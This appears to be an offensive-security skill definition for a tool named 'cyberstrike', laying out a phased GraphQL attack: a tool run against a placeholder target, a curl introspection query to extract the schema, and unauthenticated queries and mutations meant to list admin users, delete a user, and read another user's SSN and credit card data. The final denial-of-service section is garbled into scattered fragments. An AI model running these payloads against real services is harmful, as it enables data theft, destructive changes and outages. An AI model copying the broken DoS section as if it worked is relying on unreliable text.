attack-graphql

name	attack-graphql
description	GraphQL vulnerability testing — introspection exposure, complexity DoS, batch abuse, mutation auth bypass
category	web-application
version	1.0
author	cyberstrike-official
tags	["graphql","api","web","dos","attack"]
tech_stack	["web","graphql"]
cwe_ids	["CWE-200","CWE-284","CWE-770"]
chains_with	["attack-idor-automation"]
prerequisites	[]
severity_boost	{"attack-idor-automation":"GraphQL introspection reveals IDOR-vulnerable queries"}

GraphQL Vulnerability Testing

Objective

Exploit GraphQL-specific vulnerabilities including schema exposure, query complexity abuse, and authorization bypass.

Testing Methodology

Phase 1: Automated Testing

# Full GraphQL test suite
attack_script graphql_tester "https://TARGET/graphql" \
  -H "Authorization:Bearer TOKEN" \
  --json-output

# Custom depth/batch
attack_script graphql_tester "https://TARGET/graphql" \
  --depth 15 --batch-count 100

Phase 2: Introspection Query

# Full schema extraction
curl -s -X POST https://TARGET/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __schema { types { name fields { name type { name } } } mutationType { fields { name args { name type { name } } } } queryType { fields { name } } } }"}'

If introspection is enabled, map all types, queries, mutations, and subscriptions.

Phase 3: Authorization Bypass

# Access admin queries without auth
{ adminUsers { id email role } }

# Mutation without auth
mutation { deleteUser(id: "123") { success } }

# Access other user's data
{ user(id: "OTHER_USER_ID") { email ssn creditCard } }

Phase 4: Complexity / DoS

 users  posts  comments  author  posts  comments  author  id        


  __typename  __typename   __typename 


, ,  x50